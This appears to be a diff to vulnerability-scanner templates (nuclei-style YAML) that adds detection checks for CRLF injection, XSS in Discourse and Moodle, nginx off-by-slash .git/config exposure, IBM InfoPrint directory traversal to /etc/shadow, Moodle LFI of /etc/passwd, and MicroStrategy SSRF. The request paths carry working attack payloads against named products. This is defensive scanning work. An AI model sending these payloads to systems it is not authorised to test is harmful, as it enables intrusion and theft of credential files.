-      - "{{BaseURL}}/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=crlfinjection"  # Unicode bypass
+      - "{{BaseURL}}/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=crlfinjection"    # unicode bypass
+      - "{{BaseURL}}/%0DSet-Cookie:crlfinjection=crlfinjection"
+      - "{{BaseURL}}/%0ASet-Cookie:crlfinjection=crlfinjection"
+      - "{{BaseURL}}/%3F%0DSet-Cookie%3Acrlfinjection=crlfinjection"
+      - "{{BaseURL}}/%0ASet-Cookie%3Acrlfinjection/.."    # Apache
+      - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"    # CVE-2016-4975
     matchers:
       - type: regex
         regex:

vulnerabilities/discourse-xss.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - '{{BaseURL}}/email/[email protected]%27\"><svg/onload=alert(1337)>'
+    matchers-condition: and
     matchers:
       - type: status
         status:

vulnerabilities/git-config-nginxoffbyslash.yaml

@@ -0,0 +1,25 @@
+id: git-config-nginxoffbyslash
+info:
+  name: Git config nginx off by slash
+  author: organiccrap
+  severity: medium
+  # https://twitter.com/Random_Robbie/status/1262676628167110656
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/static../.git/config'
+      - '{{BaseURL}}/js../.git/config'
+      - '{{BaseURL}}/images../.git/config'
+      - '{{BaseURL}}/img../.git/config'
+      - '{{BaseURL}}/css../.git/config'
+      - '{{BaseURL}}/assets../.git/config'
+      - '{{BaseURL}}/content../.git/config'
+      - '{{BaseURL}}/events../.git/config'
+      - '{{BaseURL}}/media../.git/config'
+      - '{{BaseURL}}/lib../.git/config'
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - '[core]'

vulnerabilities/ibm-infoprint-directory-traversal.yaml

@@ -0,0 +1,22 @@
+id: IBM InfoPrint Directory Traversal
+
+info:
+  name: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Directory Traversal
+  author: Harsh Bothra
+  severity: Medium
+
+# source:- https://www.exploit-db.com/exploits/47835
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/./../../../../../../../../../../etc/shadow'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "root:::"

vulnerabilities/microstrategy-ssrf.yaml

@@ -0,0 +1,23 @@
+id: microstrategy-ssrf
+info:
+  name: MicroStrategy tinyurl SSRF
+  author: organiccrap
+  severity: high
+  # https://medium.com/@win3zz/how-i-made-31500-by-submitting-a-bug-to-facebook-d31bb046e204
+  # blind ssrf
+  # /servlet/taskProc?taskId=wikiScrapper&taskEnv=xml&taskContentType=xml&searchString=https://SSRF&shouldSuggest=false&publicDataSuggestionURL=&publicDataSearchURL=&publicDataPageURL=
+  # /servlet/taskProc?taskId=validateUsherConfigTask&taskEnv=xml&taskContentType=xml&serverURL=https://SSRF
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com'
+      - '{{BaseURL}}/MicroStrategy/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com'
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - taskResponse
+          - The source URL is not valid
+        condition: and
+        part: body

vulnerabilities/moodle-filter-jmol-lfi.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

vulnerabilities/moodle-filter-jmol-xss.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/filter/jmol/iframe.php?_USE=%22};alert(1337);//"
+    matchers-condition: and
     matchers:
       - type: status
         status: